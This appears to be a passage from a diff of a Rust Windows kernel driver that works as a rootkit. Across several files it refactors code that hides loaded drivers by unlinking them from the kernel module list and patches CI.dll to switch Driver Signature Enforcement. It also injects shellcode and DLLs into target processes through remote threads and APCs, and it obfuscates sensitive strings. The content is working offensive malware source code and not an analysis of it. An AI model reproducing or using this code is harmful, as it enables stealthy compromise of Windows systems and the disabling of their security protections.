Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data; let start_entry = ldr_data;
for (i, callback) in callback_restaure.iter().enumerate() { for (i, callback) in callback_restaure.iter().enumerate() {
@@ -661,6 +640,6 @@ impl CallbackList for CallbackOb {
ldr_data = start_entry; ldr_data = start_entry;
} }
STATUS_SUCCESS Ok(())
} }
} }

View File

@@ -1,14 +1,10 @@
use { use {
alloc::boxed::Box, crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, alloc::boxed::Box, hashbrown::HashMap, shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}
hashbrown::HashMap,
shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}},
wdk_sys::{IO_STACK_LOCATION, IRP},
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
}; };
pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) { pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Hiding a driver from loaded modules. // Hiding / Unhiding a driver from loaded modules.
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER"); log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) }; let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
@@ -19,9 +15,15 @@ pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Enumerate active drivers on the system. // Enumerate active drivers on the system.
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_DRIVER"); log::info!("Received IOCTL_ENUMERATE_DRIVER");
let mut information = 0; let mut information = 0;
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) }; let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 }; unsafe { (*irp).IoStatus.Information = information as u64 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
} }

View File

@@ -4,7 +4,7 @@ use {
ntapi::ntldr::LDR_DATA_TABLE_ENTRY, ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
core::sync::atomic::{AtomicPtr, Ordering}, core::sync::atomic::{AtomicPtr, Ordering},
alloc::{string::String, vec::Vec, boxed::Box}, alloc::{string::String, vec::Vec, boxed::Box},
crate::utils::{get_function_address, get_module_base_address, uni}, crate::utils::{address::{get_function_address, get_module_base_address}, uni},
shared::{ shared::{
structs::{ structs::{
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY, DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY,
@@ -67,14 +67,10 @@ impl Driver {
while next != current { while next != current {
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
let buffer = core::slice::from_raw_parts( let buffer = core::slice::from_raw_parts((*list_entry).BaseDllName.Buffer, ((*list_entry).BaseDllName.Length / 2) as usize);
(*list_entry).BaseDllName.Buffer,
((*list_entry).BaseDllName.Length / 2) as usize,
);
let name = String::from_utf16_lossy(buffer); let name = String::from_utf16_lossy(buffer);
if name.contains(driver_name) { if name.contains(driver_name) {
log::info!("Driver found: {name}");
let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY; let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
let list = LIST_ENTRY { let list = LIST_ENTRY {
@@ -85,7 +81,6 @@ impl Driver {
let mut driver_info = DRIVER_INFO_HIDE.lock(); let mut driver_info = DRIVER_INFO_HIDE.lock();
let list_ptr = Box::into_raw(Box::new(list)); let list_ptr = Box::into_raw(Box::new(list));
let driver_entry = Box::into_raw(Box::new(*list_entry)); let driver_entry = Box::into_raw(Box::new(*list_entry));
log::info!("Stored list entry at: {:?}", list_ptr);
driver_info.push(HiddenDriverInfo { driver_info.push(HiddenDriverInfo {
name, name,
@@ -117,17 +112,18 @@ impl Driver {
/// ///
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS { unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS {
let mut driver_info = DRIVER_INFO_HIDE.lock(); let mut driver_info = DRIVER_INFO_HIDE.lock();
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) { if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) {
let driver = &driver_info[index]; let driver = &driver_info[index];
let list = driver.list_entry.load(Ordering::SeqCst); let list_entry = driver.list_entry.load(Ordering::SeqCst);
let driver_entry = driver.driver_entry.load(Ordering::SeqCst); if list_entry.is_null() {
if list.is_null() {
log::error!("List entry stored in AtomicPtr is null"); log::error!("List entry stored in AtomicPtr is null");
return STATUS_INVALID_PARAMETER; return STATUS_INVALID_PARAMETER;
} }
(*driver_entry).InLoadOrderLinks.Flink = (*list).Flink as *mut winapi::shared::ntdef::LIST_ENTRY; let driver_entry = driver.driver_entry.load(Ordering::SeqCst);
(*driver_entry).InLoadOrderLinks.Blink = (*list).Blink as *mut winapi::shared::ntdef::LIST_ENTRY; (*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3) let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3)
let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1) let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1)
@@ -137,7 +133,6 @@ impl Driver {
driver_info.remove(index); driver_info.remove(index);
} else { } else {
log::info!("Driver ({driver_name}) Not found");
return STATUS_UNSUCCESSFUL; return STATUS_UNSUCCESSFUL;
} }
@@ -153,19 +148,17 @@ impl Driver {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
/// ///
pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> NTSTATUS { pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> Result<(), NTSTATUS> {
log::info!("Starting module enumeration");
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
if func.is_null() { if ldr_data.is_null() {
log::error!("PsLoadedModuleList is null"); log::error!("PsLoadedModuleList is null");
return STATUS_UNSUCCESSFUL; return Err(STATUS_UNSUCCESSFUL);
} }
let current = func as *mut winapi::shared::ntdef::LIST_ENTRY; let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY;
let mut next = (*func).InLoadOrderLinks.Flink; let mut next = (*ldr_data).InLoadOrderLinks.Flink;
let mut count = 0; let mut count = 0;
while next != current { while next != current {
@@ -191,7 +184,7 @@ impl Driver {
next = (*next).Flink; next = (*next).Flink;
} }
STATUS_SUCCESS Ok(())
} }
/// Sets the DSE (Driver Signature Enforcement) status based on the information provided. /// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
@@ -202,16 +195,9 @@ impl Driver {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
/// ///
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> NTSTATUS { pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {
let module_address = match get_module_base_address(obfstr!("CI.dll")) { let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?;
Some(addr) => addr, let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?;
None => return STATUS_UNSUCCESSFUL
};
let function_address = match get_function_address(obfstr!("CiInitialize"), module_address) {
Some(addr) => addr,
None => return STATUS_UNSUCCESSFUL,
};
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89); let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
// mov ecx,ebp // mov ecx,ebp
@@ -226,7 +212,6 @@ impl Driver {
let new_base = function_address.cast::<u8>().offset((position + 4) as isize); let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize); let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
log::info!("c_ip_initialize: {:?}", c_ip_initialize);
// mov rbp,r9 // mov rbp,r9
let instructions = [0x49, 0x8b, 0xE9]; let instructions = [0x49, 0x8b, 0xE9];
@@ -252,7 +237,7 @@ impl Driver {
} }
} }
STATUS_SUCCESS Ok(())
} }
} }

View File

@@ -2,16 +2,19 @@
#![allow(dead_code)] #![allow(dead_code)]
use { use {
bitfield::bitfield,
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
shared::structs::LIST_ENTRY,
wdk_sys::*, wdk_sys::*,
winapi::ctypes::c_void bitfield::bitfield,
winapi::ctypes::c_void,
shared::structs::LIST_ENTRY,
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
}; };
pub mod vad;
pub mod structs { pub mod structs {
use super::*; use super::*;
use shared::vars::Callbacks; use shared::vars::Callbacks;
use core::mem::ManuallyDrop;
#[repr(C)] #[repr(C)]
pub struct FULL_OBJECT_TYPE { pub struct FULL_OBJECT_TYPE {
@@ -101,18 +104,11 @@ pub mod structs {
shared, set_shared: 63, 4; shared, set_shared: 63, 4;
} }
#[repr(C)]
union ExPushLockUnion {
struct_data: core::mem::ManuallyDrop<_EX_PUSH_LOCK>,
value: u64,
ptr: *mut c_void,
}
bitfield! { bitfield! {
pub struct PS_PROTECTION(u8); pub struct PS_PROTECTION(u8);
pub u8, type_, set_type_: 2, 0; // 3 bits pub u8, type_, set_type_: 2, 0;
pub u8, audit, set_audit: 3; // 1 bit pub u8, audit, set_audit: 3;
pub u8, signer, set_signer: 7, 4; // 4 bits pub u8, signer, set_signer: 7, 4;
} }
#[repr(C)] #[repr(C)]
@@ -131,6 +127,135 @@ pub mod structs {
pub post_operation: u64, pub post_operation: u64,
pub entry: u64, pub entry: u64,
} }
#[repr(C)]
pub struct MMVAD_SHORT {
pub vad_node: RTL_BALANCED_NODE,
pub starting_vpn: u32,
pub ending_vpn: u32,
pub starting_vpn_high: u8,
pub ending_vpn_high: u8,
pub commit_charge_high: u8,
pub spare_nt64_vad_uchar: u8,
pub reference_count: i32,
pub push_lock: usize,
pub u: Uunion,
pub u1: U1Union,
pub u5: U5Union,
}
#[repr(C)]
pub union Uunion {
pub long_flags: u32,
pub vad_flags: ManuallyDrop<MMVAD_FLAGS>,
pub private_vad_flags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
pub graphics_vad_flags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
pub shared_vad_flags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
pub volatile_long: u32,
}
#[repr(C)]
pub union U1Union {
pub long_flags1: u32,
pub vad_flags1: ManuallyDrop<MMVAD_FLAGS1>,
}
#[repr(C)]
pub union U5Union {
pub event_list_ulong_ptr: u64,
pub starting_vpn_higher: u8,
}
bitfield! {
#[repr(C)]
pub struct MM_PRIVATE_VAD_FLAGS(u32);
impl Debug;
impl Default;
u32;
pub lock, set_lock: 1;
pub lock_contended, set_lock_contended: 1;
pub delete_in_progress, set_delete_in_progress: 1;
pub no_change, set_no_change: 1;
pub vad_type, set_vad_type: 6, 4;
pub protection, set_protection: 11, 7;
pub preferred_node, set_preferred_node: 18, 12;
pub page_size, set_page_size: 19, 20;
pub private_memory_always_set, set_private_memory: 21;
pub write_watch, set_write: 22;
pub fixed_large_page_size, set_page_large: 23;
pub zero_fill_pages_optional, set_zero_fill: 24;
pub graphics, set_graphics: 25;
pub enclave, set_enclave: 26;
pub shadow_stack, set_shadow_stack: 27;
pub physical_memory_pfns_referenced, set_physical: 28;
}
bitfield! {
#[repr(C)]
pub struct MM_SHARED_VAD_FLAGS(u32);
impl Debug;
impl Default;
u32;
pub lock, set_lock: 1;
pub lock_contended, set_lock_contended: 1;
pub delete_in_progress, set_delete_in_progress: 1;
pub no_change, set_no_change: 1;
pub vad_type, set_vad_type: 6, 4;
pub protection, set_protection: 11, 7;
pub preferred_node, set_preferred_node: 18, 12;
pub page_size, set_page_size: 19, 20;
pub private_memory_always_set, set_private_memory: 21;
pub private_fixup, set_private_fixup: 22;
pub hot_patch_state, set_hot_patch_state: 24, 23;
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS(u32);
impl Debug;
u32;
pub lock, set_lock: 0;
pub lock_contended, set_lock_contended: 1;
pub delete_in_progress, set_delete_in_progress: 2;
pub no_change, set_no_change: 3;
pub vad_type, set_vad_type: 6, 4;
pub protection, set_protection: 11, 7;
pub preferred_node, set_preferred_node: 18, 12;
pub page_size, set_page_size: 19, 20;
pub private_memory, set_private_memory: 21;
}
bitfield! {
#[repr(C)]
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
impl Debug;
impl Default;
u32;
pub lock, set_lock: 1;
pub lock_contended, set_lock_contended: 1;
pub delete_in_progress, set_delete_in_progress: 1;
pub no_change, set_no_change: 1;
pub vad_type, set_vad_type: 6, 4;
pub protection, set_protection: 11, 7;
pub preferred_node, set_preferred_node: 18, 12;
pub page_size, set_page_size: 19, 20;
pub private_memory_always_set, set_private_memory: 21;
pub write_watch, set_write: 22;
pub fixed_large_page_size, set_page_large: 23;
pub zero_fill_pages_optional, set_zero_fill: 24;
pub graphics_always_set, set_graphics: 25;
pub graphics_use_coherent, set_graphics_use: 26;
pub graphics_no_cache, set_graphics_no_cache: 27;
pub graphics_page_protection, set_graphics_page_protection: 30, 28;
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS1(u32);
impl Debug;
pub commit_charge, set_commit_charge: 30, 0;
pub mem_commit, set_mem_commit: 31;
}
} }
pub mod types { pub mod types {
@@ -172,33 +297,6 @@ pub mod types {
system_argument1: *mut PVOID, system_argument1: *mut PVOID,
system_argument2: *mut PVOID system_argument2: *mut PVOID
); );
pub type ZwSuspendThreadType = unsafe extern "system" fn (
ThreadHandle: HANDLE,
PreviousSuspendCount: *mut u32,
) -> NTSTATUS;
pub type ZwResumeThreadType = unsafe extern "system" fn(
ThreadHandle: HANDLE,
PreviousSuspendCount: *mut u32,
) -> NTSTATUS;
pub type ZwCreateDebugObjectType = unsafe extern "system" fn(
DebugObjectHandle: *mut HANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: *mut OBJECT_ATTRIBUTES,
Flags: BOOLEAN,
) -> NTSTATUS;
pub type ZwDebugActiveProcessType = unsafe extern "system" fn(
ProcessHandle: HANDLE,
DebugObjectHandle: HANDLE,
) -> NTSTATUS;
pub type ZwRemoveProcessDebugType = unsafe extern "system" fn(
ProcessHandle: HANDLE,
DebugObjectHandle: HANDLE,
) -> NTSTATUS;
} }
pub mod enums { pub mod enums {
@@ -280,16 +378,4 @@ extern "system" {
object_attributes: *mut OBJECT_ATTRIBUTES, object_attributes: *mut OBJECT_ATTRIBUTES,
client_id: *mut CLIENT_ID client_id: *mut CLIENT_ID
) -> NTSTATUS; ) -> NTSTATUS;
pub fn PsGetContextThread(
Thread: PETHREAD,
ThreadContext: *mut CONTEXT,
Mode: KPROCESSOR_MODE
) -> NTSTATUS;
pub fn PsSetContextThread(
Thread: PETHREAD,
ThreadContext: *mut CONTEXT,
Mode: KPROCESSOR_MODE
) -> NTSTATUS;
} }

View File

@@ -0,0 +1,86 @@
use bitfield::bitfield;
use wdk_sys::LIST_ENTRY;
use super::structs::MMVAD_SHORT;
use core::{ffi::c_void, mem::ManuallyDrop};
#[repr(C)]
pub struct MMVAD {
core: MMVAD_SHORT,
u2: U2Union,
pub subsection: *mut SUBSECTION
}
#[repr(C)]
pub union U2Union {
long_flags2: u32,
vad_flags2: ManuallyDrop<MMVAD_FLAGS2>
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS2(u32);
impl Debug;
u32;
pub file_offset, set_file_offset: 0, 23; // 24 bits
pub large, set_large: 24; // 1 bit
pub trim_behind, set_trim_behind: 25; // 1 bit
pub inherit, set_inherit: 26; // 1 bit
pub no_validation_needed, set_no_validation_needed: 27; // 1 bit
pub private_demand_zero, set_private_demand_zero: 28; // 1 bit
pub spare, set_spare: 29, 31; // 3 bits
}
#[repr(C)]
pub struct SUBSECTION {
pub control_area: *mut CONTROL_AREA,
}
#[repr(C)]
pub union LIST_OR_AWE_CONTEXT {
list_head: LIST_ENTRY,
awe_context: *mut c_void,
}
#[repr(C)]
pub union UUnion {
long_flags: u32,
flags: u32,
}
#[repr(C)]
pub union U1Union {
long_flags: u32,
flags: u32,
}
#[repr(C)]
pub struct CONTROL_AREA {
segment: *mut *mut c_void,
list_or_awe_context: LIST_OR_AWE_CONTEXT,
number_of_section_references: u64,
number_of_pfn_references: u64,
number_of_mapped_views: u64,
number_of_user_references: u64,
u: UUnion,
u1: U1Union,
pub file_pointer: EX_FAST_REF
}
#[repr(C)]
pub union EX_FAST_REF_INNER {
pub object: *mut c_void,
pub value: u64,
}
bitfield! {
#[repr(C)]
pub struct ExFastRef(u64);
impl Debug;
pub ref_cnt, set_ref_cnt: 0, 3;
}
#[repr(C)]
pub struct EX_FAST_REF {
pub inner: EX_FAST_REF_INNER,
}

View File

@@ -1,9 +1,16 @@
use { use {
crate::{
handle_injection,
injection::{InjectionDLL, InjectionShellcode},
utils::ioctls::IoctlHandler
},
alloc::boxed::Box, alloc::boxed::Box,
hashbrown::HashMap, hashbrown::HashMap,
shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection}, shared::{
wdk_sys::{IO_STACK_LOCATION, IRP}, ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD},
crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler}, structs::TargetInjection
},
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}
}; };
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) { pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
@@ -11,25 +18,43 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Process injection using ZwCreateThreadEx. // Process injection using ZwCreateThreadEx.
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD"); log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) }; let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
// APC Injection. // APC Injection.
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC"); log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) }; let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
// DLL injection using ZwCreateThreadEx. // DLL injection using ZwCreateThreadEx.
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_DLL_THREAD"); log::info!("Received IOCTL_INJECTION_DLL_THREAD");
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) }; let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
} }

View File

@@ -1,29 +1,28 @@
#![allow(non_snake_case)] #![allow(non_snake_case)]
use { use {
crate::{
includes::{
enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{
ZwCreateThreadExType, PKNORMAL_ROUTINE
}, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory
},
process::Process,
utils::{
find_thread_alertable, find_zw_function,
get_module_peb, read_file, InitializeObjectAttributes
}
},
callbacks::{kernel_apc_callback, user_apc_callback},
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
obfstr::obfstr, obfstr::obfstr,
shared::structs::TargetInjection, shared::structs::TargetInjection,
callbacks::{kernel_apc_callback, user_apc_callback},
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
wdk_sys::{ wdk_sys::{
ntddk::{ ntddk::{
ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory, IoGetCurrentProcess, ZwAllocateVirtualMemory,
ZwClose, ZwOpenProcess ZwClose, ZwOpenProcess
}, },
_MODE::{KernelMode, UserMode}, * _MODE::{KernelMode, UserMode}, *
}, },
crate::{
includes::{
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
types::{ZwCreateThreadExType, PKNORMAL_ROUTINE},
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory
},
process::Process,
utils::{
find_thread_alertable, get_module_peb, handles::Handle, patterns::find_zw_function, pool::PoolMemory, read_file, InitializeObjectAttributes
}
},
}; };
mod callbacks; mod callbacks;
@@ -41,19 +40,12 @@ impl InjectionShellcode {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS { pub unsafe fn injection_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
let pid = (*target).pid; let pid = (*target).pid;
let path = &(*target).path; let path = &(*target).path;
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) { let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)? as *mut c_void;
Some(addr) => addr as *mut c_void, let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
None => return STATUS_UNSUCCESSFUL
};
let target_eprocess = match Process::new(pid) {
Some(e_process) => e_process,
None => return STATUS_UNSUCCESSFUL,
};
let mut h_process: HANDLE = null_mut(); let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
@@ -64,21 +56,18 @@ impl InjectionShellcode {
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwOpenProcess Failed With Status: {status}"); log::error!("ZwOpenProcess Failed With Status: {status}");
return status; return Err(status);
} }
let shellcode = match read_file(path) { let h_process = Handle::new(h_process);
Ok(buffer) => buffer,
Err(error) => return error
};
let mut base_address = null_mut(); let shellcode = read_file(path)?;
let mut region_size = shellcode.len() as u64; let mut region_size = shellcode.len() as u64;
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); let mut base_address = null_mut();
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
ZwClose(h_process); return Err(status);
return status;
} }
let mut result_number = 0; let mut result_number = 0;
@@ -93,11 +82,10 @@ impl InjectionShellcode {
); );
let mut old_protect = 0; let mut old_protect = 0;
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwProtectVirtualMemory Failed With Status: {status}"); log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
ZwClose(h_process); return Err(status);
return status;
} }
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
@@ -107,7 +95,7 @@ impl InjectionShellcode {
&mut h_thread, &mut h_thread,
THREAD_ALL_ACCESS, THREAD_ALL_ACCESS,
&mut obj_attr, &mut obj_attr,
h_process, h_process.get(),
transmute(base_address), transmute(base_address),
null_mut(), null_mut(),
0, 0,
@@ -118,14 +106,12 @@ impl InjectionShellcode {
); );
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwCreateThreadEx Failed With Status: {status}"); log::error!("ZwCreateThreadEx Failed With Status: {status}");
ZwClose(h_process); return Err(status);
return status;
} }
ZwClose(h_process);
ZwClose(h_thread); ZwClose(h_thread);
STATUS_SUCCESS Ok(())
} }
/// Injection Shellcode in APC. /// Injection Shellcode in APC.
@@ -136,42 +122,32 @@ impl InjectionShellcode {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
pub unsafe fn injection_apc(target: *mut TargetInjection) -> NTSTATUS { pub unsafe fn injection_apc(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
let pid = (*target).pid; let pid = (*target).pid;
let path = &(*target).path; let path = &(*target).path;
let shellcode = match read_file(path) { let shellcode = read_file(path)?;
Ok(buffer) => buffer, let thread_id = find_thread_alertable(pid).ok_or(STATUS_UNSUCCESSFUL)?;
Err(error) => return error let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
};
let thread_id = match find_thread_alertable(pid) {
Some(tid) => tid,
None => return STATUS_UNSUCCESSFUL
};
let target_eprocess = match Process::new(pid) {
Some(e_process) => e_process,
None => return STATUS_UNSUCCESSFUL,
};
let mut h_process: HANDLE = null_mut(); let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut client_id = CLIENT_ID { let mut client_id = CLIENT_ID {
UniqueProcess: pid as _, UniqueProcess: pid as _,
UniqueThread: null_mut(), UniqueThread: null_mut(),
}; };
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwOpenProcess Failed With Status: {status}"); log::error!("ZwOpenProcess Failed With Status: {status}");
return status; return Err(status);
} }
let h_process = Handle::new(h_process);
let mut base_address = null_mut(); let mut base_address = null_mut();
let mut region_size = shellcode.len() as u64; let mut region_size = shellcode.len() as u64;
